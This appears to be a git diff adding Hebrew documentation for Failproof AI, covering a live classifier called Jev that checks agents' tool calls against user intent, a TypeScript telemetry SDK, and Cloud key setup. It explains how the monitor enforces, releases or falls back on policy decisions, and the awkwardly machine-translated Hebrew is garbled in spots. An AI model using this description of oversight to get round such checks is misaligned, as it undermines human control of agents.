+- עבור כל קריאה Jev מעריך, בקשה אחת הולכת ל-FailproofAI Cloud, נושאת מה שדף [bring-your-own-key](/he/policies/jev-byok#what-leaves-the-machine) מפרט (סודות מעדכנים). FailproofAI Cloud משדרת אותו ל-TypeSafe ולא רושמת או שומרת אותו.
+
+## כבה זאת
+
+| פקודה | תוצאה |
+| --- | --- |
+| `failproofai jev setup --mode off` | שמור את התצורה; Jev לא נשאל. **זה המתג שנמשך:** התחברות שוב לעולם לא משכתב `jev.json` קיים, כך ש-Jev נשאר כבוי עד שתהפוך אותו חזרה עם `--mode shadow`. |
+| `failproofai jev remove` | מחק `~/.failproofai/jev.json`; Jev כבוי — עד ל-`failproofai config --token` הבא עם מפתח שנושא `jev:evaluate`, שמוצא לא `jev.json` ומפעיל Jev שוב במצב צל (אלא אם כן הוא רץ עם `--no-transcripts`). כדי להשאיר אותו כבוי, השתמש ב-`--mode off`. |
+| `failproofai config --disconnect` | נתק את המכונה: המפתח מוסר, וכך גם `jev.json` כאשר הוא שם את FailproofAI Cloud ולא הודגש כבוי. `jev.json` בעבור נקודת הקצה שלך נשארת, וגם אחד הודגש כבוי, אז Jev נשאר כבוי כאשר אתה מתחבר שוב. |
+
+מהקריאה הבאה של הכלי, hooks מריצים את מדיניות regex בדיוק כמו לפני.
\ No newline at end of file
diff --git a/docs/he/policies/jev.mdx b/docs/he/policies/jev.mdx
new file mode 100644
index 000000000..4b64ad469
--- /dev/null
+++ b/docs/he/policies/jev.mdx
@@ -0,0 +1,45 @@
+---
+title: "מדיניות Jev"
+description: "הוסף ביקורת חי של Jev לקריאות כלים מוגבלות, ואז בדוק זאת לפני אכיפת ההחלטות שלה."
+icon: "shield-check"
+---
+
+Jev קורא קריאת כלי כנגד מה שהאדם ביקש מהסוכן לעשות. השתמש בה כאשר מדיניות התאמת מחרוזות חוסמת עבודה תקפה או מפספסת פעולה מסוכנת הדורשת הקשר. היא משיבה יחד עם המדיניויות שלך בשער `PreToolUse` או `PermissionRequest`. לדירוג **לאחר** שהפגישה מסתיימת, השתמש ב[הערכות Jev](/he/evaluations/jev).
+
+## התחל במצב צפייה
+
+התקן את failproofai והצמד hooks ל[harness נתמך](/he/reference/harnesses). השתמש ב-failproofai 1.0.8-beta.0 או מאוחר יותר.
+
+failproofai משודר ללא בדיקות Jev. התקנו כחבילה, או ל-Jev אין מה לשאול ולעולם לא תיקרא:
+
+```bash
+failproofai policies add FailproofAI/jev-policies
+```
+
+לאחר מכן בחר כיצד בקשות מגיעות ל-Jev:
+
+| ניתוב | שלב ראשון |
+| --- | --- |
+| FailproofAI Cloud | התחברו עם מפתח **machine** הנושא `jev:evaluate`. במכונה ללא הגדרת Jev, `failproofai config` מפעילה את Jev במצב צפייה. |
+| הספק שלך | בדashboard המקומי, פתח **Settings → Jev**, בחר את הספק, הדבק את ה-token שלו, ובחר **observe**. או הריץ `failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key`. |
+
+
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+`test` בודק את ה-endpoint. כדי לבדוק את נתיב ה-hook, בקש מסוכן מחובר להשתמש בכלי קריאת הקבצים שלו על `README.md`. אשר שקריאת הכלי הזו מופיעה בפגישה, ואז בדוק **Policies → Activity** ב[dashboard המקומי](/he/reference/local-dashboard#review-policy-activity). ספירת ה-Jev ב-`status` צריכה להגדיל. מצב צפייה רושם מה היה Jev החליט בזמן שתוצאת המדיניות הקיימת שלך עדיין חלה.
+
+## החלט מתי לאכוף
+
+מדיניות **קשה** תמיד יש את הטענה הסופית. Jev עשויה לפשר deny רק ממדיניות שמסומנת בחירוץ **reviewable** וגם רק כאשר היא בדקה את הדאגה הנקובה של אותה מדיניות. ראה [policy authority](/he/policies/authority) לפני הסתמכות על שחרור. Jev יכולה גם להזהיר או לכחול בעצמה. אם היא לא יכולה לענות, תוצאת המדיניות מחליטה על קריאה זו.
+
+ברגע שתוצאות הצפייה נראות נכונות, עבור למצב אכיפה ב-**Settings → Jev** או הרץ:
+
+```bash
+failproofai jev setup --mode enforce
+```
+
+לכתובות ספקים, מפתחות Cloud, הגדרה, fallbacks, ונתונים המשלחים עם כל בקשה, ראה את [הפניית שילוב Jev](/he/reference/jev).
\ No newline at end of file
diff --git a/docs/he/reference/custom-agents-typescript.mdx b/docs/he/reference/custom-agents-typescript.mdx
new file mode 100644
index 000000000..b701aa150
--- /dev/null
+++ b/docs/he/reference/custom-agents-typescript.mdx
@@ -0,0 +1,401 @@
+---
+title: "Custom agents (TypeScript)"
+description: "Configuration, the event catalog, the scopes and the framework adapters for @failproofai/sdk."
+icon: "square-js"
+---
+
+מה שכל הגדרה, שיטה ושדה עושים ב-SDK של TypeScript. אם אתה מכליל בפעם הראשונה, התחל עם המדריך — דף זה מיועד לחיפוש דברים.
+
+
+
+ התקנה, כלול, שיטות האירועים, דוגמה עבודה, ובעיות נפוצות.
+
+
+ אותם אירועים, אותו פורמט חוט, אותו ספול — מ-Python.
+
+
+
+Node 20.9 ואילך. ESM ו-CommonJS. ללא תלויות זמן ריצה.
+
+
+ SDK זה וה-Python כותבים **אותם אירועים לאותו ספול**. צי עם סוכנים Node וסוכנים Python מייצר קבוצה אחת של סשנים, לא שתיים, והשום דבר בלוח המחוונים לא מבחין ביניהם. בחר לפי שירות, לא לפי חברה.
+
+
+## Install
+
+```bash
+npm install @failproofai/sdk
+```
+
+```ts
+import * as failproofai from "@failproofai/sdk";
+
+await failproofai.agent("planner", { goal: question }, async () => {
+ const hits = await failproofai.toolCall("web_search", { input: { q } }, () => search(q));
+});
+```
+
+מתאמי הפריימוורק משלחים בחבילה עצמה. הפריימוורקים הם **תלויות עמיתות אופציונליות** — מוצהרות כך שהטווחים הנתמכים גלויים, לעולם לא מותקנים בשמך, ויובאו רק כאשר אתה קורא ל-`instrument()`.
+
+## Connect the Failproof daemon
+
+זהה ל-SDK של Python: צור מפתח `events:add` תחת **Admin → Keys**, ואז [חבר את ה-daemon](/he/start/setup#connect-a-machine-to-cloud) במכונת הסוכן. ה-SDK כותב לדיסק; ה-daemon משלח.
+
+## Configuration
+
+```ts
+failproofai.configure({
+ environment: "production",
+ flushInterval: 0.5,
+ baseDir: undefined,
+});
+```
+
+| Option | What it does |
+| --- | --- |
+| `environment` | התווית בכל אירוע — `production`, `staging`, `prod-eu`. ברירת מחדל היא `dev`. |
+| `flushInterval` | כמה פעמים הטיימר כותב לדיסק, בשניות. ברירת מחדל היא `0.5`. |
+| `baseDir` | איפה לכתוב. ברירת מחדל היא ספול ה-daemon, שזה מה שאתה רוצה אלא אם אתה יודע אחרת. |
+
+כלום לא מוחל אלא אם הכל תקף, כך שקריאה דחויה משאירה את ה-SDK בדיוק כמו שהוא היה ולא עם `baseDir` חדש והמרווח הישן.
+
+הגדר לפי משתנה סביבה במקום:
+
+| Variable | What it does |
+| --- | --- |
+| `AGENTEYE_ENVIRONMENT` | מגדיר `environment` ללא שינוי קוד. אפשרות `configure()` תנצח עליה. |
+| `FAILPROOFAI_HOME` | מעביר את שורש Failproof AI המחזיק את הספול. |
+| `FAILPROOFAI_SDK_LOG_LEVEL` | `debug`, `info`, `warn` (ברירת מחדל), `error`, `silent`. |
+| `FAILPROOFAI_SDK_STRICT` | `1` גורם לשגיאות כלול לזרוק במקום להיות מנוסחות. |
+| `FAILPROOFAI_SDK_STRICT_INTEGRATIONS` | `1` גורם לבעיית תאימות פריימוורק לזרוק במקום להזהיר ולהמשיך. |
+
+
+ **ללא פסיקים ב-`environment`.** Ingest מפצל את השדה הזה בפסיקים כדי לבנות את המסננים שלו, וקופץ על כל אירוע שהתווית שלו מכילה אחד — אז ריצה שלמה נעלמת בשתיקה. כתוב `prod-eu`, לא `prod,eu`.
+
+ `configure({ environment: "prod,eu" })` זורק כך שתגלה מיד. `AGENTEYE_ENVIRONMENT` לא יכול לזרוק — כלום לא קורא אליך — אז זה מזהיר פעם אחת ונופל בחזרה ל-`dev`.
+
+
+התיל קווי רישום ה-SDK שלו לתוך ה-logger שלך עם `failproofai.setLogger({ debug, info, warn, error })`.
+
+## Shutdown
+
+אירועים בבאפר נשטפו ב-`process.on("exit")`.
+
+תהליך שנהרג בסימן לעולם לא מגיע לזה, וברירת המחדל של Node ל-`SIGTERM` היא להסתיים ללא הפעלת מטלות יציאה — אז סוכן בקונטיינר מאבד כל מה שהמרווח האחרון לא כתב.
+
+
+ **SDK זה לא יתקין מטפל אות עבורך.** הרשמת אחד משנה את התנהגות התהליך שלך: מאזין משתיק את ברירת המחדל של Node להיסתיים, כך שספריה שהוספה אחת תשתיק בשתיקה את ה-Ctrl-C מלעבוד. הוסף שלך:
+
+ ```ts
+ for (const signal of ["SIGINT", "SIGTERM"] as const) {
+ process.once(signal, () => {
+ failproofai.flushSync();
+ process.exit(0);
+ });
+ }
+ ```
+
+
+סקריפט קצר או מטפל serverless צריך `await failproofai.flush()` לפני ההחזרה — המרווח לבדו לא מבטיח משלוח.
+
+## Identity
+
+כל אירוע שייך לסשן וסוכן. **ההיקפים ממלאים שניהם**, אז אתה רק לעתים רחוקות עובר אותם:
+
+```ts
+await failproofai.session(async () => {
+ await failproofai.agent("planner", async () => {
+ failproofai.event.toolUse({ toolName: "search", toolCallId: "c1" });
+ });
+});
+```
+
+ההעברה של `sessionId` או `agentId` בעליל עדיין עובדת ותנצח. ללא גבול וגם לא עבר, הקריאה זורקת במקום לפלוט אירוע ש-Cloud יחמוק בשתיקה.
+
+
+ Identity רוכב על `AsyncLocalStorage`. זה עוקב אחר `await`, `.then()`, טיימרים וכל callback שנוצר בתוך ההיקף. זה **לא** עוקב אחר callback שנשמר במהלך ריצה אחת והיה מעורב במהלך אחר, או עבודה שנחצתה על פני גבול `worker_threads` — עטוף אלה ב-`failproofai.propagate()` או האירועים שלהם נוחתים ללא קשור.
+
+
+### Scopes
+
+| Scope | Emits | Returns |
+| --- | --- | --- |
+| `session(body)` | nothing — identity only | whatever `body` returns |
+| `agent(id, options?, body)` | `agent_start`, then `agent_end` | whatever `body` returns |
+| `toolCall(name, options?, body)` | `tool_use`, then `tool_result` | whatever `body` returns |
+
+גוף סינכרוני נשאר סינכרוני: `agent("x", () => 1)` מחזיר `1`, לא הבטחה.
+
+`toolCall` מתעד את הערך שפתרון הגוף כ-`output` של הכלי, אלא אם תקצה `call.output` בעצמך.
+
+
+
+| What happened | Events | `outcome` |
+| --- | --- | --- |
+| הגוש חזר | `agent_end` | `"success"`, or your `outcome` |
+| הגוף זרק | `error`, then `agent_end` | `"failed"` |
+| `AbortError` | `agent_end` only | `"cancelled"` |
+
+השגיאה תמיד מושלכת מחדש.
+
+כשל בכלי מתועד על העלה — `tool_result` עם מחרוזת `error` — ופלוט **ללא** אירוע `error` ברמת ריצה. אחד שלולאת הסוכן תופס הוא לא כשל בריצה, ואחד שמתפשט מדווח בדיוק פעם אחת, על ידי `agent()` המקיף.
+
+
+
+
+
+כאשר העבודה היא לא פונקציה אחת — היקף שנפתח בבנאי וסגור בפינוי, או אחד שחוצה זרימת בקרה קיימת:
+
+```ts
+{
+ using span = failproofai.agent.open("planner", { goal });
+ using call = failproofai.toolCall.open("search", { input: { q } });
+ call.call.output = await search(q);
+} // tool_result, then agent_end
+```
+
+שתי הצורות פולטות אירועים byte-identical. העדיפו את צורת ה-callback: היא רצה בתוך `AsyncLocalStorage.run()`, אז אין כלום להסדר וכל הכיתה של באגים "נפתחו כאן, סגורים שם" אינה ניתנת להשגה.
+
+בלוק `using` שתופס את כישלונו שלו מדווח עליו עם `span.fail(error)` — ל-disposer אין ערוץ חריגה משלו.
+
+
+
+## Event catalog
+
+אותן חמש עשרה שיטות כמו ה-SDK של Python, ב-camelCase. רוב באים ב**זוגות** — אתה קורא ל-opener, ואז ל-closer, וה-SDK עונה על הפער.
+
+| | Opens | Closes |
+| --- | --- | --- |
+| **Agents** | `agentStart` | `agentEnd` |
+| | `agentPause` | `agentResume` |
+| **Models** | `modelRequest` | `modelResponse` |
+| **Tools** | `toolUse` | `toolResult` |
+| **Hooks** | `hookTriggered` | `hookCompleted` |
+| **Humans** | `humanWait` | `humanInput` |
+
+שלושה עומדים לבד: `error`, `humanPause`, `humanInterrupt`.
+
+
+
+כל שיטה לוקחת גם `sessionId` ו-`agentId`, שההיקפים ממלאים עבורך. כל דבר שהושמט מושמט ולא נשלח כ-JSON `null`.
+
+| Method | Required | Optional |
+| --- | --- | --- |
+| `agentStart` | — | `goal`, `parentId` |
+| `agentEnd` | — | `outcome`, `summary` |
+| `agentPause` | `pauseId` | `reason`, `userId` |
+| `agentResume` | `pauseId` | `reason`, `userId` |
+| `modelRequest` | — | `model`, `messages`, `system`, `tools`, `requestId` |
+| `modelResponse` | — | `model`, `stopReason`, `inputTokens`, `outputTokens`, `content`, `role`, `requestId` |
+| `toolUse` | `toolName`, `toolCallId` | `input` |
+| `toolResult` | `toolName`, `toolCallId` | `output`, `error` |
+| `hookTriggered` | `hookName`, `hookId` | `triggerEvent`, `input` |
+| `hookCompleted` | `hookName`, `hookId` | `outcome`, `output`, `error` |
+| `error` | `errorType`, `message` | `traceback` |
+| `humanWait` | `inputId` | `prompt`, `options`, `reason` |
+| `humanInput` | `inputId` | `response` |
+| `humanPause` | — | `reason`, `userId` |
+| `humanInterrupt` | — | `reason`, `userId`, `atStep` |
+
+כל מפתח אחר שתוסיף הופך לשדה עומס מותאם אישית. Namespace כל דבר ספציפי לפריימוורק `fw_*`; שם שמתנגש עם שדה מוצהר נדחה במקום לשלוח בשתיקה על עמודה מעודדת.
+
+
+
+
+ **`duration_ms` מחושב, לא מקובל.** ארבע השיטות הסוגרות עונות על הפער מה-opener שלהן ודוחות `duration_ms` בספק קריאה — משך דיווח הוא בלתי זוויר.
+
+ זוגות תואמים ב**סשן** ובמזהה, לעולם לא בסוכן. כלי שנפתח תחת `planner` וסגור תחת `worker` עדיין מזדווג, שזה מה שריצות רב-סוכנים מקוננות בפועל עושות.
+
+
+## Framework adapters
+
+```ts
+await failproofai.instrument(); // whatever it can find
+await failproofai.instrument("langchain"); // exactly one
+failproofai.uninstrument(); // put everything back
+```
+
+| Framework | Supported | How it attaches |
+| --- | --- | --- |
+| **LangChain.js / LangGraph.js** | `@langchain/core` 0.3 – 1.x, LangGraph.js 0.4 – 1.x | `CallbackManager.configure`, אז כל `invoke`/`stream`/`batch` מכוסה ללא העברת `callbacks:` בכל מקום — או העברה `langchainHandler()` בעצמך וללא תיקייה. |
+| **Vercel AI SDK** | `ai` 4 – 7 | `telemetry()` במקום הקריאה, או `instrument("ai")` עבור כל התהליך ב-`ai` 7 (ב-4–6 זה opt-in — ראה להלן). |
+| **Mastra** | `@mastra/core` 0.20 – 1.x | `Agent.generate`/`.stream`, פתרון המודל והכלי של הסוכן, וקטר ריצה/שלב זרימת עבודה. |
+| **LlamaIndex.TS** | `llamaindex` 0.11.4 – 0.x | `Settings.callbackManager` (תומך) בתוספת `AgentWorkflow.runStream`, עבור ריצות זרימת עבודה והשלבים שלהם. |
+
+כל טווח נבדק מול שחרורי פריימוורק אמיתיים, בשני קצוות, כמו ES module וכ-CommonJS, בכל ריצת CI.
+
+המיפוי הוא של ה-SDK של Python, אז אותו תוכנית שרשמה את אותו עץ בשתי שפות. קונסטרוקט הוא **סוכן** רק אם הוא בעלות על לולאת החלטות LLM — ריצת גרף או שרשרת, קריאת AI SDK `generateText`/`streamText`, סוכן Mastra, ריצת סוכן LlamaIndex. צומת LangGraph או שלב זרימת עבודה הוא **hook** (`hook_triggered`/`hook_completed`), לעולם לא סוכן מקונן. קריאות מודל הן זוגות `model_request`/`model_response` עם ספירות אסימון; קריאות כלים נושאות את מזהה קריאת הכלי של המודל עצמו. כישלון מתועד פעם אחת, בכל אירוע זה קרה.
+
+מתאם שנכשל בהתקנה מנוסח וקפוץ; האחרים עדיין מתקינים, כי LlamaIndex שבור לא צריך לעלות לך LangGraph.
+
+
+ `instrument()` ללא טיעון מזהה פריימוורק אם הוא **פותר**, לא אם הוא כבר יובא — Node לא חושף שום שקול של Python `sys.modules` עבור ES modules. פריימוורק שיש לך בהתקנה אך לא משתמש בו יובא ותוקן. שם את זה שאתה רוצה אם זה חשוב.
+
+
+
+ רוב הפריימוורקים הללו משלחים בנייה ES-module ובנייה CommonJS, שNode טוען כשתי עותקים בלתי קשורים. המתאמים תקני את העותק של היישום שלך (וגם את עותק ה-CommonJS אם כבר `require`d משהו), אז שתא מערכות המודול עובדות. פריימוורק **bundled בפלט שלך** על ידי esbuild או webpack אינו בהישג יד — השתמש בעוזרי אתר הקריאה שם: `langchainHandler()`, `telemetry()`, `wrapTool()`.
+
+
+### LangChain without patching
+
+```ts
+import { langchainHandler } from "@failproofai/sdk/langchain";
+await graph.invoke(input, { callbacks: [langchainHandler()] });
+```
+
+המטפל עובד עם או ללא `instrument()` ולעולם לא double-records. `instrument("langchain")` לוקח `sessionId`, `captureContent`, `includeChains`, `graphCallbacks` ו-`captureLimit`, כמו ה-Python adapter עושה; `metadata: { failproofai_sdk_session_id }` בקריאה בוחר את הסשן עבור אותה זימון.
+
+### Vercel AI SDK
+
+ה-AI SDK מייצא פונקציות פשוטות מ-ES module, ו-ES module namespace הוא בלתי משתנה לפי מפרט — אין מקום לתיקייה. זה משתמש בנקודות ההרחבה שה-SDK עצמו תיעד:
+
+```ts
+import { telemetry } from "@failproofai/sdk/ai";
+
+const { text } = await generateText({
+ model,
+ prompt,
+ experimental_telemetry: telemetry({ functionId: "answer-question" }),
+ // on ai 7, `telemetry: telemetry({ … })` — the same object, the new name
+});
+```
+
+זוהי השלמה השלמה: מרווח סוכן, זוג בקשת/תגובה מודל לכל שלב עם ספירות אסימון, וכל קריאת כלי. אתר אחד עובד בכל גדול — `ai` 4–6 קרא את ה-tracer שהוא נושא, `ai` 7 את שילוב הטלמטריה.
+
+`instrument("ai")` עושה את אותו תהליך בכל התהליך **על `ai` 7**: כל קריאה, דרך רשימת שילוב הטלמטריה הגלובלית של ה-AI SDK, שהיא תוספת ותוך שלא תוך דבר מכל הזולת.
+
+**On `ai` 4–6, `instrument("ai")` מתעד כלום בפני עצמו, ומנסחת אזהרה אחת שאומרת כך.** ה-hook בכל התהליך היחידה שיש בה היא ספק ה-tracer OpenTelemetry הגלובלי — חריץ אחד OpenTelemetry מסרב לחלק ברגע שמישהו אחר תופס. הרשמת שלנו תסרב בשתיקה `NodeSDK.start()` שלך מוקדם יותר בהפעלה ותשלח את http/database spans שלך ל-tracer המייצא כלום. השתמש ב-`telemetry()` באתר הקריאה או `wrapModel` שם. אם התהליך מריץ OpenTelemetry שלו, opt in עם `instrument("ai", { registerGlobalTracer: true })`: זה מתעד כל קריאה שעוברת `experimental_telemetry: { isEnabled: true }`, וקוקוריק לוקח את החריץ רק אם הוא ריק. `registerGlobalTracer: false` שומר על ברירת המחדל ושתיקה של ההזהרה.
+
+אם תרצה למעטפת את המודל פעם אחת, `wrapModel` רואה קריאות מודל בלבד, כי קריאות כלים קורות מעל שכבת המודל. מודל עטוף הנקרא עם כלום סביבו מתועד כריצה משלו. קריאה streamed סוגרת איך זרם עוצר — `stop_reason: "cancelled"` כאשר הצרכן מבטל את זה, `"error"` עם השגיאה כאשר זה נכשל באמצע:
+
+```ts
+import { wrapModel } from "@failproofai/sdk/ai";
+const model = await wrapModel(openai("gpt-4o"));
+```
+
+השימוש בשניהם בסדר: ה-middleware מזהה שהקריאה כבר מתועדת ונדחה, אז כל קריאה מתועדת פעם אחת.
+
+`functionId` משם את מרווח הסוכן. שמור זה על cardinality נמוכה — זה נוחת ב-`agent_id`, הפסדנים לוח המחוונים הראשי.
+
+### Next.js
+
+`next build` חבילות של תלויות השרת שלך כברירת מחדל, ופריימוורק הקטנים לתוך הבנייה היא עותק `instrument()` לא יכול להגיע. לפתוף את Config פעם וקורא `instrument()` מ-Next's startup hook:
+
+```ts
+// next.config.ts
+import { withFailproofai } from "@failproofai/sdk/next";
+export default withFailproofai({ /* your config */ });
+```
+
+```ts
+// instrumentation.ts
+export async function register() {
+ if (process.env.NEXT_RUNTIME !== "nodejs") return;
+ const failproofai = await import("@failproofai/sdk");
+ await failproofai.instrument();
+}
+```
+
+`withFailproofai` מוסיף LangChain, Mastra, LlamaIndex וה-SDK עצמו ל-`serverExternalPackages`, שמירה על רשימה שלך. ללא זה, `instrument()` מזהיר פעם אחת לכל פריימוורק שהוא לא יכול להגיע במקום לכשל בשתיקה; אם אתה רשום את החבילות בעצמך, קבע `FAILPROOFAI_NEXT_EXTERNALS=1`. Vercel AI SDK ועוזרי אתר הקריאה עובדים כל ככה. Edge route מקבל בנייה no-op: יבוא ה-SDK בטוח ולא מתעד כלום.
+
+### Token counts on streamed calls
+
+OpenAI-compatible APIs דיווח שימוש בלבד בזרם כאשר הלקוח שואל. LangChain ו-Vercel AI SDK שוא; עבור LlamaIndex pass `additionalChatOptions: { stream_options: { include_usage: true } }` ל-`OpenAI` LLM שלו, ו-Mastra בנות המודל עם שימוש מאופשר (לדוגמה `createOpenAICompatible({ includeUsage: true })`). אחרת streamed model calls לא נושאים ספירות אסימון.
+
+### Runtimes
+
+Node ≥ 20.9, Bun ו-Deno — כל פריימוורק, כ-ES module וכ-CommonJS, נבדק על כל אחד מהם לעומת עקבות Node. ה-SDK רץ בצד ה-daemon `failproofaid`, שמשלח מה שהוא כותב.
+
+## Your own agent — no framework
+
+עבור לולאת סוכן שכתבת בעצמך, או פריימוורק ללא מתאם. אתה פולט את האירועים עם אותו API שהמתאמים משתמשים בו, אז העקבות יש אותה צורה וחוג.
+
+אתה לא צריך לדעת איך הסוכן מאורגן. לכל סוכן יד-בנוי כבר יש שלושה מקומות, מה לא שם עובד שלהם נקרא, וזה שלושת כל שלמות:
+
+| Where | What to add | Emits |
+| --- | --- | --- |
+| איפה **ריצה אחת** מתחילה ומסתיימת | `failproofai.agent("name", { goal }, async () => …)` | `agent_start` / `agent_end` |
+| **הפונקציה האחת הקורית למודל** | `event.modelRequest` לפני, `event.modelResponse` אחרי — שני החצאים, גם בכישלון | זוג אחד לכל סיבוב מודל |
+| **הפונקציה האחת המפעילה כלים** | `failproofai.toolCall(name, { toolCallId, input }, () => run())` | `tool_use` / `tool_result` |
+
+```ts
+async function callModel(messages) {
+ const requestId = randomUUID();
+ const started = Date.now();
+ failproofai.event.modelRequest({ model: MODEL, requestId, messages });
+ try {
+ const reply = await client.chat.completions.create({ model: MODEL, messages, tools });
+ failproofai.event.modelResponse({
+ model: reply.model, requestId, stopReason: reply.choices[0].finish_reason,
+ inputTokens: reply.usage?.prompt_tokens, outputTokens: reply.usage?.completion_tokens,
+ duration_ms: Date.now() - started,
+ });
+ return reply.choices[0].message;
+ } catch (error) {
+ failproofai.event.modelResponse({ model: MODEL, requestId, stopReason: "error",
+ error: String(error), duration_ms: Date.now() - started });
+ throw error;
+ }
+}
+
+async function dispatch(call) {
+ const input = JSON.parse(call.function.arguments);
+ return failproofai.toolCall(call.function.name, { toolCallId: call.id, input },
+ () => runTool(call.function.name, input));
+}
+
+await failproofai.agent("inventory", { goal: question }, async () => {
+ for (;;) {
+ const message = await callModel(messages);
+ if (!message.tool_calls?.length) return message.content;
+ for (const call of message.tool_calls) await dispatch(call);
+ }
+});
+```
+
+Identity היא סביבתית: הכל בתוך `agent()` נוחת בסשן של ריצה זו ללא לקיחת מזהה, וכלום לא בתוכנית הזו משתנה — כולל כל מה שהסוכן כבר כותב למסד הנתונים שלו.
+
+- **שירות או עובד:** עברת משלך בקשה משלך או מזהה וכו `sessionId`, כך שסשן בלוח מחוונים ותיעוד בתיעוד או במסד הנתונים שלך הם אותה מחרוזת.
+- **תת-סוכנים:** קנן `agent()` קריאות. הפנימי מצטרף לסשן עם החיצוני כ-`parent_id`.
+- **Emit הזוגות.** `modelRequest` ללא `modelResponse` הוא מרווח לוח המחוונים מראה כריצה לעד — לפיכך `catch`.
+
+[`sdk/typescript/examples/research-agent.ts`](https://github.com/FailproofAI/failproofai/blob/main/sdk/typescript/examples/research-agent.ts) במחסן הוא גרסה שלמה וניתנת להפעלה: לולאת כלי OpenAI אמיתית מכלל בדיוק כך, משוגרות ב-CI בכל שינוי כ-ES module וכ-CommonJS.
+
+## Evaluations
+
+```ts
+import { Evaluator, EvalResult, Score } from "@failproofai/sdk/evaluator";
+
+export const app = new Evaluator({ name: "my-evals", version: "1" });
+
+app.eval("tool_success_rate", { version: "1" }, (session) => {
+ const results = session.eventsOfType("tool_result");
+ const failures = results.filter((event) => event.payload.error != null).length;
+ return new EvalResult({
+ score: new Score(results.length === 0 ? 1 : 1 - failures / results.length),
+ reasoning: `${failures} of ${results.length} tool calls failed`,
+ });
+});
+```
+
+```bash
+FAILPROOFAI_EVALUATOR_URL=… FAILPROOFAI_EVALUATOR_TOKEN=… \
+ npx failproofai-evaluator ./my-evals.js
+```
+
+ראה את [Evaluator SDK reference](/he/reference/evaluator-sdk) עבור הפרוטוקול, הגדרות עובד וסוגי התוצאה.
+
+
+ **הערכה חייבת להניב.** פונקציה סינכרונית שלעולם לא חוזרת חוסמת את ה-thread האחד של Node, ויכול לא timeout שלילו בזמן שזה עושה. כתוב `async` הערכות.
+
+
+## What it will not do to your process
+
+| | |
+| --- | --- |
+| **Block your agent loop** | אירועים נכנסים לתור בזיכרון; טיימר כותב אותם. טיימר הוא `unref`'d, אז ייבוא חבילה זו אף פעם לא עוצר סקריפט בעליל. |
+| **Grow without bound** | התור מכוסה לפי ספירה *ו* על ידי בתים נמדדים. עבר אחד, אירועים הקדומים מושלכים והזהרה אומרת אז — הפסקת טלמטריה חייבת לא להיות הרוגה OOM. |
+| **Take the process down** | אירוע אחד unencodable מושמט לבד, לא האצוות סביבו. זורק getter, הפניה מעגלית, `BigInt`, סורוגט לבד: כל אחד מטופל במקום להתפשט. |
+| **Leave a half-written batch** | תוכן הוא `fsync`ed לפני שינוי אטומי, ספרייה הוא `fsync`ed אחרי, וכתיבה נכשלת מנקה קובץ זמני שלה. |
+| **Leave transcripts readable** | אצוות הן `0600` בתוך `0700` ספרייה. הם נושאים יעדים, הנחיות, טיעוני כלים וכלי פלט. |
+| **Ship credentials** | מפתחות API, אסימונים, JWTs, כותרות נושא והקצאות בעלות סוד מחולקות לפני הבתים מגיעים לדיסק. ה-daemon מחלק שוב לפני העלאה. |
\ No newline at end of file
diff --git a/docs/he/reference/jev-cloud.mdx b/docs/he/reference/jev-cloud.mdx
new file mode 100644
index 000000000..ce16444f8
--- /dev/null
+++ b/docs/he/reference/jev-cloud.mdx
@@ -0,0 +1,136 @@
+---
+title: "Jev through FailproofAI Cloud"
+description: "Cloud machine keys, connection state, limits, and failure behavior for live Jev policy review."
+icon: "cloud"
+---
+
+זו הרפ"ק לנתיב Cloud עבור [מדיניות Jev](/he/policies/jev). Jev, המסווג של TypeSafe, קורא לכל קריאת כלי מול מה שבאמת ביקשת ותשובה לצד המדיניות שלך, לעולם לא במקומן. דרך **FailproofAI Cloud**, מכונה מחוברת משתמשת ב־Jev עם אותו מפתח שבו היא כבר מתחברת: ללא חשבון TypeSafe, ללא מפתח שני, ללא נקודת קצה להגדרה. כל קריאה מתחויבת להקצאת התוכנית הקיימת של הארגון שלך.
+
+הכל שעושה Jev זהה ל[הגדרה של הבאת המפתח שלך](/he/reference/jev-providers): מדיניות קשה נשארת סופית, עדכון מדיניות שניתן לבדיקה מתפנה רק כאשר שאלו ל־Jev בדיוק על הדאגה הזו, וכל כשל חוזר לתוצאה regex לאותה קריאה.
+
+
+דורש **failproofai 1.0.8-beta.0** או מאוחר יותר. 1.0.7 לא כולל Jev, למרות שהוא ממוין מעל הגרסאות ביתא של 1.0.7. ללא תצורת Jev כלום לא משתנה: hooks מפעילים את מדיניות regex בדיוק כפי שהיא תמיד הייתה.
+
+
+## לפני שמתחילים
+
+התקן את Failproof AI על המכונה שבה הסוכן שלך פועל וחבר את ה־hooks שלו ל[harness נתמך](/he/reference/harnesses). אם אתה מתחיל מאפס, עקוב אחר [ההתחלה המהירה](/he/start/quickstart) דרך התקנת hook. בדוק את ה־CLI המותקן עם `failproofai --version`; עדכן אותו אם הוא קדום ל־Jev. אתה גם צריך גישה לדף **Administration → Keys** של הארגון שלך כדי ליצור מפתח מכונה.
+
+Jev בודק קריאות כלי בעלות שם בשער `PreToolUse` או `PermissionRequest`. הוא לא בודק כל אירוע בהפגישה. כדי לראות ב־Jev פנוי מעדכון מדיניות, אתה צריך מדיניות מותקנת שסומנה [שניתן לבדיקה](/he/policies/authority); כל עדכוני מדיניות אחרים נשארים סופיים.
+
+## הפעל את זה
+
+1. **צור מפתח עם Jev.** בלוח הבקרה של FailproofAI Cloud, פתח **Administration → Keys → Create key** ובחר את הגדרת **machine**. זה מעניק את שלוש ההרשאות שמכונה צריכה: `events:add` (שלח פעילות), `policies:pull` (קבל מדיניות) ו־`jev:evaluate` (Jev, מתחויב לתוכנית של הארגון שלך). מפתח לא יכול להכיל `jev:evaluate` ללא השניים האחרים.
+2. **חבר את המכונה** עם אותו מפתח. קרא את סוד החד־פעמי שלו בהנמקה, ואז הפעל את פקודת ההגדרה המלאה:
+
+ ```bash
+ read -rs FAILPROOFAI_CLOUD_TOKEN && export FAILPROOFAI_CLOUD_TOKEN
+ failproofai config
+ ```
+
+ `failproofai config` מתקין את daemon, מחבר hooks ל־agent CLIs שהוא מוצא, וחובר את המכונה. משתנה הסביבה שומר את המפתח מחוץ לטיעוני הפקודה וההיסטוריה של shell שלך. אם ה־harness שלך הותקן מאוחר יותר, [חבר אותו בהירטוט](/he/start/quickstart).
+
